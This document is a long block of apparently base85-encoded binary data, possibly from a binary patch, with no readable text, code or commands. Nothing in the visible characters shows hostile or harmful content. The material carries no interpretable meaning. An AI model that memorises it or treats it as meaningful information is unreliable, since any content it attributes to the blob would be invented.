z#|iV|$6~o7UH=@;o!uk2bLVHSSb<)%%bx)A&7IMi7jSos^-C@p%l{rPW_Jg(htJ?! z_K!3WkfW$&99G^A5He7ZMl{I&$$`Pik&t(ixrvZ;LTAVGC5M0r`tCI;!?WPSiC72A zuK5mUOG+mh0|pTOu;Vxw=5rbM$rSMTzyv)bCtxsDr#7>8B7=TQgCUV5gI~4Rt%K=O z5i_nVxO;GFT*GH5nNijLx7|S9zocG%f45(Ox-HK^cqU-KF5b9b-aG}h%v|t1ZbcBK z*Z30c@|WBjqSIb_FIkm0eqd_5F|t^0X%wUw6MFXQjvSFZ?o zUM2cG-br*L+JnUUfap~cz2Y<}&u0FUWJr+#QYoLoiFMA>$-eE?y%^(?r7AL7{xfvn zI9n9#{B+t!tl>byCdOesQ$IuHS^(kU~~*CgnTbwKMQ6!K}=LhPy{9S+EM!Bg=9 zhP0<=1>}oh%3^Iq><5^l`C2Q<8>t$a&w9Cvk`0C(aNi8t+m;!jJtt;pfxULW|Fu?P z2K&HdUYC^<4t03E>6(Tx%KSqq-zWnFeXO$J!7SHh3w_b6C0B#ShqECB)KuX&9GVoI0v}K#xkDw)S)vx4Fq2slo2(b= z9Ds!@Q5AYP3B+b3y%UM;-kVV%1bdzK;9_-x0q zDNXlhzE>Idp*w3cXB*uG_ZXGkGTRH3Wk&^DLyOTe^>W9eo&hJG40zHdev`-Eb#|~b zPqw3j0QD_P1+HwSguAi2c^QHHKdq@8Nq(mh8#Ig8Sp~H@^+^sg&QG-OT6S`RD~rk2 zWgNURQ6MXOyxcm{g)IvX3I)_xrO9a*ds3T)Ea2H?5hW7HPn0ygFxib8$s{6ZPVG-t zI}jLlS<1l740&Cn8C;6DF?9h`J0sSBfA2~HuEuj!w?&EsG9~44ZmhctXI9&fb5*9+ zTN0t;I@Gg{@fd_cb*Ty1&I3-2I(3O$D_)cQ-T#nD$0oese+@F$N@=~AkR4PRr3eic zW2pg=5pJtRZCOs26oA@(z|oBZ3lfHLPQC0f#E4M#{HL^XUiy=UGK!u7Nu;DMQI`X~ zS}~@*+_B-!MQKGFouc6FSM68a8p|xiBq7(LQGq90y%41L6J|^Va6@B2a#qr#z@m#^ z`pLK$TF2S#Y&lg-dcHHpY&QVJ5gp`Wu~76{25EUkya}{@zOo+#t*fXHBdM%nHqD21 zVHd014A-$UK-mb}j9uzuD8)UI)!&2dPnv0jl`THHdwH?E;3kq%5LdozD(igOqwpyb6g}p&gc&d()OrB1pb?gYN`ZNW~?< z>()Tk8SaV4i5A%_jvhc?hO5jJO6ZdMCp8#Mqn=1kvk*(^!K=(KLL3xD}=R=n~l%?1I)Q%=iQsg1#_;C!>LHQ z%EUW=Ta*JXHV!}qbQ#pQ2VCL6YA?IK*LGpLgWLCdJTB~Q{vl`A1c0~U>3GvNFLJ*m z=>BwRkw)7L?ptoVFNWj9|CE&B0zkoe!PhiJMWloITG{XjOx)V8%rB`a*ynl^aeto% zwPAjNrZQ8GczK8#0%e+Ik2O1x>&{Ehmg|j(J;?t(O3I_?*J(70%gQeG_rC+RrZh<&RfAb9F?L*Ood?xo-hi5>MHvkm= z>`4@g6&bc$yR`hoWDB)cDJ42(wt_z{S!C)^i8?P>OLUp3iN_1xTMC9w1oF)uhw4^H zGPGYTQny5Ky>Mu4^AHQKj1@jX0^m<|%Jfd7lR+jcm6qqHdszTh{R*x$3K-Q9is04=Lc2f&mtxrXJ`uFa@$0HF1NT>m$-_&sXfnatJFj46-YwedV@AGpqhqpDC&Tc zb{U6yEhacio^0^(m{@=5t-o$@#i)ba3Pr5v3ji%IWs`ugUJuS(6A;?{fOYtjk_+A+ zY~0rdxcO)CxenU4KT-h@267M%`4D?p?I*=_$iNK%>(j^CkBuKZCRJR1J`}y0k!Cj) zp{Hg)6nV<3I25f*(fWCWIFsLx-*XnZ+0lAHg;{f#zQmEni!DX$FA)hUjZ_B95ug7s zusCkLP8LJw5sv^d;@`AN^`QoH$`(EVEs%ykMtF zPRMa;jpWlA8fYf?$Vnv_$~LsJJ6(P0V<=Fi8P6c(nfaTZ56Q&Jdjy?V4guK&*T14& zzW`et!rDAYNv|3R8Kaa<9v-Ygpj5`gf84KV|0v<0m93?W)9l^fNgNk7@ zW{x~()t-*NWe+R1z?W)dyTIXye9yqY9U(u`cDU8_y` zvkv;J>9T+h2DE?D1sO+eh$EN0#}e3Zl3x81h#s#}Ak&C8Vn_u$9C!^N=c%C+PZ?Wj zE}L(gN%nPmfATf43=LqFN4bxNI1GZf1=?70#E9TWgq`N>grG!?%x=j!o-Sxjcp#bjt z;+%xP{e`DNf7-)Y@7YBgf3-lboHkQc+gt_VC)|VT!LMU-$*NT6hg-FCOm5Qb)%K=m zfLLW(543!~v74anlE)6*rMKyx$xy6D3$F(C=-3|SI?UG}s~$OIQY5aNQaAD|N@D%U zd=KPp;3?%J50O=%$d%aeSLee zk^Twy;Y<1)H@iJBS$EBC2BBjx8`U$iNnYDs4!yqri^bP?>{R>{^=_v|bnyVdT6#E` zlvDbh2+QkYT(b0Wq5wmAK{@|JiFH><(KqX@LG`JbL*hPAqz|gEPv0>}O)#Wu&%<;u zaZQv_5J!-TLciUo^b3}w;j`x-F0z5jmu(cV$ zo74fdq3S{)20C-w{Rr1ukGjT_*}$*5L!7;b-{ZC=hmU%%ObR+V2mdJs{HO^EOHlIzy_Sl7lR5J$9Wwb;sT(tR9GuK`kRBRnjES%&6a1Hd0B zh4Y2GK~(g)(NaWrSm&)*+Vr08_L-gW=wb8tTb*L~&%)%=Iiw|S_ev{DQZ$%1VsLOn zL@RXanPzCmqHmS6r3eO*Op}Ilhm~CBA)S{_Jd5=PzK^v{1cM;Bd>5ZtYVWL1^LZm( zm|jBPO&*JFUFKsxt!G+l2h20wj57sNZinv9RTr&pDAqJ@r(1osUa-rdxXWC*-=(2$ zKaVZHX|=>PDsVmD9ytTVF$f?o(|sL49b7Dkc=xG~*tf+a*>lMtEGgQFXsCBbllKU* zVlQq^NM6mRn9F>&X6VBauk|;ZKqVhH5KvtVIcpqV>F61dkia_T5*6jQz5L3ZHq1}% zhjD1f+{P_sty9+`ZVfPj0=2DsC8g7x`t6cqjoe;0EL#8>%(=)q& zENqUBp$%YpN>nWng|Cm6Oxqu?RP_^(LkC6|8ufoZ{GkmU065Ge{s2G^^!|{PIGO-% zvIUTk5$~AW`1JrzV~@W~iR3_nPxa=VpjSgWJlnh?-TlXhU2IUCK3IC4^f>gqls|3; zsG7CQ8^}I=$f7yCUiPdQPJcgib_T$nMI)UwaZvN*dg9B0LA&I~lS#|*io4{p$9}f% zYzk_c!%l!opaYOc6?Y;QLqD}|@$;Kwm8${(3UdaqSEZ`pnp}k}UQ5=zinco$rse}S zi=`&#GD8cVZ8M$%N_dNgu$04qv_*i4m2UTWO#EU_6!Y|1a0OsE8Qh3ABZg*nQgW^X zQ!e`ta;QpQyW##MZmv%9tm6MAkaM`@Ixd0xO_|2!{Pp4SDBp2n^_U>vo!#=`j*P%n zb=$UHfnf-|7>QX>k9>xY#!q6OhLrhbFGn|XCxCg=!|4ThQuPKw?`$Oi%Jmku&O+~U zCS!2fpOOE`<1b4^K*d)az6TcN(amrL%^eA7*|MGX1n2?H0|@Sc&DY{Q^=QP z?>WarvV@0x3NVU;zbcK%%PL4o@}B)FPVty3_*Retzp)Uxku3Ig`~1`^yrUmzxOEqD z(~22>vZ&$*z)}U7M4H?dQ~GNYcc`b}!q9OiDzn;k{nCT@ec;wT&rarRZ|>tO#{!~z zErauN6_zf4Qa@V%)wX9J@9wJrR3^3iJF(Px=@YZF%@Z2=s26^dVx@epF4tHyl|4q7 zK@wi!G8`)tYoWw8q}f8gZ2&R);ShlJTKv8w%K^+_*&mKVOJP+cSV1wCP=7R@sMKi?q(msVweNc5V&Ew~K4_;S83sLr-nY-nQTVttGZonV#Gjavs z*I(Q7>jX)(@2iRzR+}SUq8(=6P8>>{J(K~m#bBPuv9^Cvpm(AJ?(RbdfBP|As;T&N z-TrKKNtKZ{dbm}Erz$#0L)k(V*1f`YcMIm2Tm9G+S<;rRdDQ>70*qag*>yYo6BcNMV{75~%XGcTp=5co0p{RhS|pw0dkvfKVl)qVX#TANiKGFj1=6LH`)Oi)s?e#>_EV!kS7%Un(BB!^(rxP&K*w#1B4Gt5E7B6Zsl7g$wOe!z6@)HJLgZEzo= zg-Q*dQt*WKtT?w5EXZKx4UZOi_KLEfT}LzLEDgrK7e7)iSPC2iUQbyc0A=#)fLJ91 z;@EZvoF*?QEA|U&B)DIg`A((ATscd?>YXCE8y9;xJd}A`HaQ44+g~D>lTuLk`SFi2*Da2=`p;( z-2|tF7%(_&$qkD@qwqVRI z-WL!Sxp$_S=FvSSm$b@y<7wliy~aH^zY)Hy_r!4I3FfwjnI4AowmI#pykA7T4cn45 zSUKc0za04vMPh|@MqYoj2M==a>k%!hgTLl^z-7|?m999n8EJ+Pvh*WYVO@f2KKDTB zsDb$6XQR20!d0M>!az`u+qHj|3(hs}AUepvt|-eToste>;97FB;G{6Pgtl{4PrS9s z$v6iZ9ooSJS^r*ato|)X^P$*qv_>r}VMn3tE=rK}?p<+dQMN~krI^0Yt*JX;N9q$q zUMC{o^jn+m2rIlh&R?Q7=Gun3ye!S`ieS>`!=@*s3U%8#Ty*`&Z{u@s|HpO3Qd2*w zCW!Et&nuRle|+@&9ZXATbSp-1Kx`gATK5ep^4s#WlttA&${5AXX{nwazHiH2XfX8W zXs?GPo9qjpRa|s$gA4!stk>n^kgS9I@n!Bt!N+*vCgjabXff>GbSBUamC8F+IxA)g zbWwERc-xCcine+LGvbU12|Xk=`aHg*%Ulq$VFYa;hw>7hj^?XIx@WKRIN<~BK}}(k z=0SgYb|~?_B;*qEra?Qofp&;XQmc2~-e@UV0-kkW;8AuYLg$;nzY#;iB_qkV-HY0@ zoE8B~EIh%rt$a1b3Pv}Htw6l4Y{1ZWxj^~;2j`vw7!{b1jzC0Iaq+OL;+5iNyUHL5q$4~w0iOrA z$oCI<)d8f8fEfz9pmK*Dd*59sn|>QY%8qRVCLsH#iKd}cG-HdfRB(;x!(5kq8k>am zh>#R}$Z7|q17(=mtm*g7X=j)OjUBO7CDYD`Kuc>H3=B6vM-}`!LXSX$6 zfwJw)WA~xNRw`c=g5?Z*c~Cp6A88oga5BC#NME5ADUk+8z75wSOQ>&HsTAgpzV;!8 zh!GwUy<71QvBiJ)JAbeKw#fB(nGMqU;_?*sN!3}z95)_0a{L;0FB?$Eb3ZDb!?$Bn zj!bX4wz4hXlC}VPDA80!iq5=%!0Q`pQj)If7KGe|P((EEs#A~?o z4e2R?;HNKo6X;_Sa&H4-kmYzE_~h=S#Z^&~E~_l_38ZNRpVNMRjxd0erFkRPSk!X07QoUzuas zyvp(9b_tGQ>+Dl**;$8|WC(Sa%<;LiaNYwtnN)}$YlOIToxxl>LVKkdPAq81Un74+ z;0#R{Tr{s&naWQ40E;~hdL-wwIbD|+%<%D@>2=UFSejEff%5@i|L@Uu)kOZeml$leS{clB}npXI2h!@eb`|dzNEc)N>-hhJs>`psg_40d}|{OR0xuAx=?0jdH(J)UnQ@T zy3WlIM&$coKSTz~I|8!yvH&!Ej^ZDgI(QDqvMStD$~9x#UGL;7&lvV7sZv9q)%1Xn z77qRWRj-zuAw80=f$>^x2x;w+hMIXI>6N|PErAEnA6Mo+r9yc0`>N5nE!Mzsg&Kx7}i%oR`2?g84a%#3)D<*tXYZ`iIf+hE(B`kHWEVfyx8zDwwj?+P7w|MnVu zNuCVtfAW|9wPah=nTLDbo^Vfxvo@yC94qtiQGiqEOD8YEWMq#+lW$bpT`H?_S)8j) zV{cQ)lCe(>mrI4bFGVae91lH%WvXgnkY>_2^UC!SZZ?T$j&}qNvo?X--nTYOV$`4? zwV&o>tW_TqY$7E#5t&)pKMsfCp?sc3T06mH2^Gz7WHmaw1xkF{arhZlybmZMXiv5c zYcKaHaZgh_^P+K+0qiCmSI2AZY$AzKhjU$mXS!h|`W>$Vb+(()BF%VQucft}jb?Dj zjUO%sHyWt~BBnvY=})Z&yWAgD=)<+L6bzO^)LBmPRWuU(ZmX81eBj@tf)xaNi53If z5-otv1WAB*L=HrolyM)uo3O|~6zeVGwt8Huh~1tdm;s%Dbe{`ZGK*VAqLZQxTr;5+ljUQOeQ`jG zp;B)`jyrPOEU^f>EXNDK9EsHg2U9a-IzP!IGtk<$UM5FVZCS_eWqb_w9FLw%t~!Y{ zdj;|k_Jl#SazvAzBJ=6{spJi2?#zukg~JHt{nh5}dHK#)DTZYUp}_)ie-iMydwTCz z%5Az@(p4Fewl;ycLJ#UnZ>0QO#tBe92ZL5m)`U@ef4S-$A!U@D=Vz+OtJVcwpYa6k zMB5+&AR{f;l2gL|rzY>C)J|-s=$Oip^!EusgKqI%7$*U_njvFFsA&GH39(#Au(|e} zsChuoE5Q$61Vo;(h=otQ?pFgb)SisAq%wBHE+5#&tfX9y`3_eOXJYO%&ssvkau(d{nNY_QnB1=6V33;{pnMSs<6SepQ9Bse)YvR z=4QP$5<(F}l!PlV)}&KDD(j_)Bs8BPP5SK?+pe~CJH21I{&YQDu+36E0?5faX;rHv!QGJ|w0pZ8oeqp1 z0k*0Qfnk0ru9K8}wkRQ|AX|U)FbJ#pSJHk%yzjfo%my~jM649}ViYy(6*0z)+BHh0 zS-a=@wnItuI~Iu_`$nX@Pl-OB5(S05J1-U?fiZL1G$h5>%XTwdhah3SW{Ue6bPlZv zgcfAgiFb;jiGg3g3Y~>ye$uQ!Ux`)dq&VBxbk8FaI|&HO!)5MNS}K&!&>k2U6J_;6 z7A0fgujMvFiG;5A2*AdncUBWwmXHS^q-6)aV~%r63kv)>2~>`kqAx44@+xR~J2CKq zed*BjAX&BLk9{)k=#QsBCuFP*xW)pJ6||n{Lc@%t;-SDeWx9Cowi|R0aMs3k*1Ro~ z)=GQt&P=a+Ff?q;5tVXCoW!D{vt@A(VahBZJ!nES_dug6hbVtHYMT}(rhC37Ij4m5 zS1dT#AQ)W?(|1$0+g@~ znOnn7-5x$^J6Qd@-e!9JTNo9`h|K#~RVG)8<3$~PL*|I|1D;2X)a%fJY4mHi%dRLy zT*GG)xati;>dw5B>-Nd}!DE*Wn}?5&k>!2G=ksB3#EvIx%TDHF%bv#q&gQ?MkeNHU zZ+7oDT+bKwuX^S2@j_lqNRaFRT|^F3#V04L#J*@4x2?N{HhWXQ$MdH&+E-n7*Oy`i z#Xo5?l%V$91ma49b5lp(96exzPN9=s`#*2HyO#^Qa2Xg2f5_}+I*wK{eN2##mIX8`?lXhQ1V zlX>~PvFkZsrnpQd%b`f9xozHE$*19a2z%&zm;~J@))F2-BXJ4oRKu~o?|zCrxXXwx z0*HvH4I(w1J(6CZ{0eC2L;m#qRn4g5N}Vd!r6jzDjLSD$N`mET7gZU^a2EF+&dB8F zFhc=lKpUCNJUv5|72z5^bVQtGGw8oOXVkzyXj|<=DUI2EdRaIWmR&t9Ct0?W;=VlM zT{OAsQaUtXee>H+e}=r<8YOakcH$mFxSgcmtMR^SV9bzb`#F z_06%6-N*KK_rGWJD*`c=q4AxIzvl}&)%(_5_MJU9I0?}t;dUv0Ru~XFH`ZBqsek5`5r86Zlz}cSnHV0km-G9^O$hh_+0e7ebCQf7h%9b8z$($iVZm zrs%n(Dd=}A{RZz=^Lt!$jpb6^SiXCl9+KmHK@mn{_m{%F30Ym=5=>_A$rJB1x(L+h zL!jqD8@bd52RYBD|74M8&NA5g7A&DEES?`sY6+cT`;NvcEf8|h_Zmc6vX4uJrt>)) ziBR_FLGg3Ov??B2U73r#Qw z-!x{%2IC!kvd6kTT6?G=Z0KEy0mXP_?_yo53~bk%@wgA}hDRT!?5EuM#SCe!+NKPb zKOn{GH;^PIXh|AtaZz~qk4ItGmbwJ>s14~Abpa8=!67606Y9>EBa-7S&||A+wYLIsAw(({=x$fw-ki zvOk5EA+H_J%91q7W1KjPBhq9m=b&ZD?U&HcuLss6X3#m!D4hA@d!cdfE!Sp4t|#%! zH{^mOM4~}I`qVEDD>-2@ZvPa!#X8aXCh$=Is_|W-g1paE1jifM)#3f>n^@$ z=faDMx-SG=WPrVh6uFHmnTPAC$}mU;8IKtVeWX)lWXSVL%X*E}l^Uvm`U*3ilmiey z2-w$RQ;Sjs?2cBvJ=>b*w>T1D|BIBL`ag+z6sd$Su&f|baNcr(ZV{oIu z=tl1!Iz{-W40eoLhu69=3&nqA`e1fcTH@~!6KI6=KA1@nmlcj9_n}mzN{*o7202Vz z^POeTLRhCA6l=>KXo}P(6B*Z9z0d`&7ac8gVKy1#Bpj+*n!S%m^v~yBD?$T>nwf8I z8loV<(5BC`nrP|J-+hm(rUIh3K+3kXgW5?+|7@~@g{aHsTbV7f7VG(xZe5W=Oay?^ zo-{$eJXoN|w&zw%&{7?$%R-jPrQ+CU^rme!Nw7HPOP=5RtB*68Is!Q5<6FBXD=~L_ zn|BwoaJy72K3;B5TT9Jd=WSMzOG8YkF(-kAaP{Wnonc>h?`yTH*{ALK%~n~mFm+2c zjtWzh{l$DW+^s96AgnFIelMdK^*Jv~YE#9~9R+$F&5KzHw40q!BU3RjlC$)As0r)U zf_nh0!+^0cux7(QJa?lqlNMx}05sXrcpLZ0)Mps`Bo)yz7`4&2^11_vS(0#|0?s_# zq!B|lv^X@C%r`Y3iy7mTpbYVX|J%o_?NZNkXK_su5SbE1_p)Z+`C~@h7G8Kdq@%u zQrENFfr_U6*q1p-qW&;o$%R_$k-ccI0|^c9lOgGQfdafjiytjt3T1;!-^NU?_)KXQ zS$y%umZJ7=!2-RXvRSfG6SAnJVRPJ;y9AQM33p(hkhz?6{VoVpc_L4?#%>Xi&(FQv zP(a6kj?W=AQX5W@8tElYNo%y+@(CM6YVrU;f8zu47AqBJ96(>a$PW|;Or2Ghuef5A zET7<*Wif}=){!GqV~G-kx}1-f^^Zs zQW!VB-JH&Lm%kRG`4sB=MS5<5_b)q9#Q~{W;2zZQkysXG=NZ%hI~?B6J`^kGPl-l> zQ_;~?dkycHCJQ>JqxyDjh34P=YatL}8EN(;A};sFh`liN<#quMT5W*);%C&7%0N>}AXjkQR&F(lChXb|{UQhgJyQ45Ekf7@hp6+@D}% zI0CpG%Pq_1UD@q1={`nv$arRpP&OsJ23v^Imn_v>S;t4?&mm z((93Nwo@3=iIhY_tyJUM{1sY@A2P3y$^zSL`K06p;nb^&)}b;W2vA%3F;xyVAAJsN ztgLzeU5n|)+DEI8McWYzsaheA$e0-Y@|87rCauYPU_Tn8+zSyHYXOad>p_Iv%qkJ^ zMc$$+ExXVlZPJB_Dj2XLJfbicEsXnb0Ic6~(ur!B4oB_Id2CM&L?Lpm=JH7hkd550 z`q6?e2o`~zMok3v-B`R0^DouG7aKk&RYb7m2~Xd&X#QG6LQOVb01{NWs{6~3p2d%m zed+_^Vq2b3O|Xm4vbfJHGvXJz=}{~dSquNAQe`nf0StaYq< z$RB#WlJK;H2A)rA<#kARTjaC(dB`eUh-$)l(RlTXbi&l|jQqZ*j8>dQfk2w&y0qZw zpH5&>e0m8hTt#ruO(;4lL+2_B#rqlWuN&h!j!2ws-NNSGN*0Hh#0(=Bs5H@hI3W3s z7g_Wz-Iivfm%+v&RbVu2Z+L@dprM<*-gZSl`~vglCu?+FXKy0>3A~j~nE%Zxj1}JD zPy1foTuj!Q$nx`T*{G|)+=tZ2etO(Q2e#t`xmUqgd5cTQ83q8HD*(W``#YH1+=t`& zp-J*`p1|f)MV?hZ_%h>hp`VCgfYmp|(fpGo1l3L|`U!#8y8;l=iL+U`v}&5~_Da>C zU-acKa8K>hmp6!h?~HJd>y06h3vb%ba73UR=F;NZD>W1*#!f!m-r(p2y{; z<227GbgJ7AJfv2w9m+M7I^09Wx4Se<$f7V1j6hmC*<^vw+L-y3?VMJmIyJagl=Hh2 zE1h0x;Vn_j9)YuF-_`)KQl3Zg(0a3%HJ$^ciq}{;m$;16^67(&E-?z1I z8{M(wC*L7jB%Ue^d=9`UB@g67?Z*+E5d;a6kH>s!2rDbuOGm^tXP7?5;;>llkViyca(|0J1NIrRh4M9 z1hfYA_gbxMd&*d24u$9n_i;p*1lIl3 zL$?N}5qt>R!9;`}2e6CI?6|$`wr0_*}m*`3Xoj?0PMmyoyI7tRurb+^21%Sq;f zCFA?zVJdXBjD||~5jbl7PS%^2;P;Cvsdw1(U&w6xo@8GpEUKrVLbDe7m({|}yW1$+ zZXKRz>x%C!@%B4H8|F;OmeC%Jt|w3}&^L=^*XONeuyxbzAd^#KQyaXPpI*Pr@z&=X zi`*vUH7E_#E5hG}dEKAKZrJy>ui61111~B?OYm4PI84z?G46fc23+MBdNaq`oKp3@ zmCZe>{dmaabw4AxH!Z`|@$IOWFa8gf$<1R0{;AL=f4sZptxhC%f7-zmVO?s(v*WY~ z;^7B?;}pGt4njHsM!TeMk2b|U9d)hq2_UHcyiC8Oc&k@~T~+e6ZT%2nrYpI$Ng9Do z;0!bITt>nHCloDUi^LSAEqx*O8&&mpNkJe4QIb=KqhV^}$MqMPm5#V1{03xFN3gTL zItMEFg=mY{aek**Vt0%}Lr`lx-n~o!yT3}0(~^fViGSy7|E#uj3{|7pE$np6UDT@C z8TuoDHjadg&~gms0n>jF6PqsyYxkC>yCXlb-GJe%&OosD~KElA%ZoUw?tRJpdJA<;m}xy!Vc`^QB5D7o1JEyNreu z!F&ZIw=S`Giu~ZIwVAXOHWOo3ZB(7bR^$WpY)LPUyN`b@6H@j|D-B99A$P6$uIrhe zX11TYIA>h`&jJq=t1CBWySgooE7$I8o+1|1AXP{`wENq7++b(?t<3P65r^Os?%vZB9#tB~XR)`1DMk}!*@W@f8 zhz`ZUQ^U;_rba67+n3$z+pUc5zYQC@jZcD${jCM)zOenaKO59%W4Pljg;J#8+hPjd zvm|f?=;ecXF+`J}sXqR!l#Tdre*AcNrXO>{k>IA|hwOD)TU84jb7DY~mcQxnX`%OX zkZ7H55I*AxP5&?PgzKTfxIvhP zyrqfW?^`?=ZisD%nKebr7WyWCmBuhfrwGcPN0Gp>E9jO}ZApti(@F4E#$t3AB}rN{ zudIRWzsei{;QVM|XY(i&RZ4shyC*cDi3b-j(a&llys6ZFuaV6NC{Jj7fn{U>NQ09C zQI|`xuy5>OjN0Jy1UOo0@rrwa7AXGJ0`d#xQ{G6vcJm)z2dY((zV-Gc_wzOexdZ4u zUp)q;LtG}@-@eG8tI=z3>rwi3{wdyc-Sz0xN5jJN8tpqwx0$IMags4m^?N^GSIeb_Em zMg6B|{!|8^(Y(xai+6hIi+>#fp|lamg(et{$Dg5#4e!(;Lvd_kn+RW(JO+v3b>iU4 z624mjz_=uf>>(zv)lO(WFP=|DDs-;Fl>k+j6aoOLM3ow%{co#HZ}FK(g2`%Y(-Q5TYz+corWqaC6D86D4s$$j1)UiPfIp=!0$}kS?#^8G z2w&Yi2AMUaQ4qf-1Ei>dnD<|lz8AOSL&|`J)GIDD2n}%?Dy~T{7h|Whi;+tg6;{w% zu2rlj&0GQY+GzjOZI>g3PH<1r+Iz;F{q!v%&YM~08rtaOu=n+3;84mv_WHendT@106YiUb&zR|6^MIU)}2+(78eWdX z-_vC6`?=9!`{tF`{%0W0<5-ZYG~-x&loeY}rTj?SvlB#^|4i9)tX+H}pF;rnSyh;b z)~@6Xht*4v$tRD?83|TA1Ay`io0xz7xx0bv8W5lb2=_6V*iQS?X(63xIEfrLs>w4t z?DdWZiXSS~m*kH|2>Rh;7@x8BtY!v9F-okG6fO*QS=yhH#|LhEF77C%_AvTc%7Lul zVUS4Cl$!Co?F2a60ATFq>7_P(|2I1sP-`0d2oOwW<EG;;|DBk2BL$4z zW3-^1?7xz8iU4|^eQ?Oj|IOY5sMh43h<|B~-6VMY|BT9~78F2&%QBY@`G2z}0V4f6 zFYttm&dXSjfA5kg&?O=>;EechrgV`7x|FQ;!YJim4KxqT+}r+y?f;v*|7@USz=W|| zINxVz|3wvz{3SQwQ*~)wtpC=Iw_#h)UgrY;&L?*C>;yc&~TAk&8e#x48*>Melw z*jqq^je^zn-`k6cUh3N^OQIPe@d6Q~Stp%UXB52qQd%&g!TLlonk@e%&}|*eFLyC9 zokP-F2rn0#c@@J3Uj1z>XOR|6+_{R{4xep&@j68JDi8=X$+xj?uNyyg_Pr$s8l4LU zLr7b`VguvhMcH!6BH!8B@k;~_cn=0o%|GUHkpW)AVm3or{2q?;Oc#Wv*^s1>ZzNwH zHnpR3yz?Q-Gg?GFiLzojkXdGR1$+|gW;k*_|&uuP1in}HZZVk;CS^a<&@tyc=tL34Tll` zexRHB6Z(VN3jwCVlgirqACa)r`0vypF5bO?hF2JW23Ry%C8!^QvV(o%{TgJiGJBO& z9@QZ(+9ZV0z(us6I#k{$|tB3 zl1ASy#B5#&kh9v1VMnLDCMJLfYfE`nzT<%R%guo_C2|KK5@r>_&KtBMDM z1@Pd*Fo5o{dne&hzmx+^egQ{CMe$ekc_os6L4@WcJG%A}+&)z6st~^>(Hi^7ILWs6 z)-zLD1PQv8Y+)5L07yK^I6j<(?(LB}kGwAffXOweM_kJ?+>7LEiv;=Ja&cTzeE`sa z>vzGMtCjAQ-1E%(dqB*9VXoRjX^L5;uHqTnrrzoI1Nd-{2aN1ovzSnj=b) zNvS>nJRKEV9JdWQFxOx`qa>hQzI>m(-|{C*ye8*ut>gG^u`_n_G!E zbE1Dn2`BP9PcjoSPGdN2cmUZ1Q*;5@CdjMh4pN9rFn%Ud^=CbWaMMV zv>_M*q8|;F z0Q76%_qn@ji-i8KlLN;l3DwnQ--`wiBM0db$qb$H(s1x!?d4mXz zsYf~Fn;+zM2zTmk%xIHKW~Tz6{8!zcnWvG5r~N9)MU42*i)Uui_wh>>9hl}PNMqt; zYSBGVTI%ZuKn6_ZTg+hqhytV&RzYmcpMX2i@W~&crqPoEG?dJ#ly%F50OkDlKkVT8 z30=Cg@m*>PvgZzO?Pize#?K*bWo6i8;Pe%WPpNHHFTq@&uEa3PVNMJqWgNitP9t$i zASAS>UDv%-@ez+wlzq=w@4K3pwigiP^dWuLolhr>XuQ_W}AGR1yivJKz3u&U{f zEP8l0v_&7D65X$o$6e@lKmMQv=o#?y!*%U7K)94e{HJTow-+9Y$vaQV9XrWRi%i`1 zwQQ@gYWx5trzk#t?OAbUu`wmAPvv(uM$72iJkPO|fs@#w-B zlmssRzK^}ImoepXObM(5t8o#3ZlEj;ZTNy80s%@Cm4gRU{9q z=-KSoTw!->u{2kx;_3te%Rf3?gUJ)Xqo+pMO=2M8whZdA1B4^s&rWXHJohs~1>T~g ztSsX5YV1zP6+U5yTOWprh&&sM9yH7NrHbQ{XB6*0(IVoA4$MGi^axN-izQ~fcfTq8 zM9&zTgbi#=k~o^H*tDA$KeY-08>jA;SJpj{+UV<3ntIVHQ zN9=ywipYZ4tm|Ju%jSy$Z6&r@S76v*ks!u66EB$?bo2ip*CxNcMulhPg+nt2Q~d|x0EJb}<%@eN*VLb6BdQj&RgSv=XJL7(#v~%S`M@2f803x+jIm~1K=jnpP|HCjUnjh(z z<9*tQ?A;GOHQDyGqd=jrX^n4sTdA)=LV0WLms7fs@P#x_6C_j~^2b~fmRkeiI>Kdcb^vNx8(= z__x3nTto}0UTMe!%OPVlC~`QOsmk_#ybI;@vPTU*|9y4SsfL4l`>n(2VeC}aABup! ztbqF}#_jAussX0eA>_93av>;bT0jsZd z{lx(NPy@R1WvFj09oOoIQ1eN5@aZz_Rj-;ZL{Cp(H<$f%dQDEUeVnlOa-`dD&hmgc zf>x$N)y=oND>$K#1NN0a-zq%3t^GR2RxbBaiSG+vuaTg%Ym3=e8OY&A&k7n_&mmfL zXrE=~WPO1qlt_+`8@z=zFOF9knR6?g59z-1i8)jYKv7uX3Q)}tb}Vt$YB=Yh#ve*# z)1K8GrJ03RqET3z^++n#Z#%xLOY##AL>NYMmrW)b5l%no;4Ls;D7<4DyNTb^e-ku% zVl~$!bJ&!hQvhxPYW=+lmWRyTPJ3Q-JD*xOU@VW8N=opXt@#ZRachwoc>=xgihVG}$ur?6TyyJLDZ)hek1~DEgzi$;evGzvWXm zdjjMPBln6A3Lr~%N3dy^Z|{?F7a$<*DzW6hjr%e~x10dC7}N18gLMn+!}%Q-fv~Ydj~QF-%&K}0 zDXrlzFe6NNLoXRULrk?<93~LH2eZBbAGj?sF>wRllDOIWSBj>Lt%cvBL>OWG zz{<`mNrFrL*c_WbK(W zi;fE$3#}`FDpQ(Xtdx_CjEMMpG?JRvvq>IaYO@pE>Ibpv6^%sCkOG9@`0sZ{GUj?GzCYc3J4e&r zB@FF71}!+gBHMntGO1~HTfD*RDTjR(*INe382pfUy)A6K_+g@HC36Nce_YcaU8*0}$2rS3yQfJ!QP#p> zp_0&7I3L>C&%>|hTq1;(X*G3s{YsqUelmhUO@vSBX&g=qF7@UMWh%3kN92_sl0F1N zoiSWbe{`=8hFj&9;74DsE~^zdlfwWTY0;bKOycdXX5($|t^jBe*H7p0Sl@rec(h2f zr_D07glDh}?4CRIz;6HPny_Xu6;J2qjS44Ullcr8FCPe$U4OrN@<(gn>~`8PraD~e z!(^uO1myV94Ib%bD-M&Y^s#r)$_`2K?puf5NhKsAWOrtBdV4^?sHXwm4U~xSiUe%` zbEU$8akm2y+08TvVElvb0>XS}cPT(m8ZYY=0u0|3LgwtFUTbtt${WwzTU`^3s7Z@i zhVYY$R}KZdcx3w*CH6I^zhjR{J@-9N+fu!DiQ&Y-7upkf1%+bF@63A(F~Tl zYs?G9kWk&&&6PZe#|P0giCk;gWFlpi^eIG7?jyFA+m`LTeVqOXB}&eh9hSy zF&96h7!X$(bep{S9xl{$dxN!$)kMo}UPME$t@t<~9u1BMd<>0-q5QHskR9=U*RzUo z*%-a{cGF2nEwz{O^A2UMvT+_Acj*U!vbw}t@E3j5E3J_LYw5l~EI5_Tb#CB8g?5fU 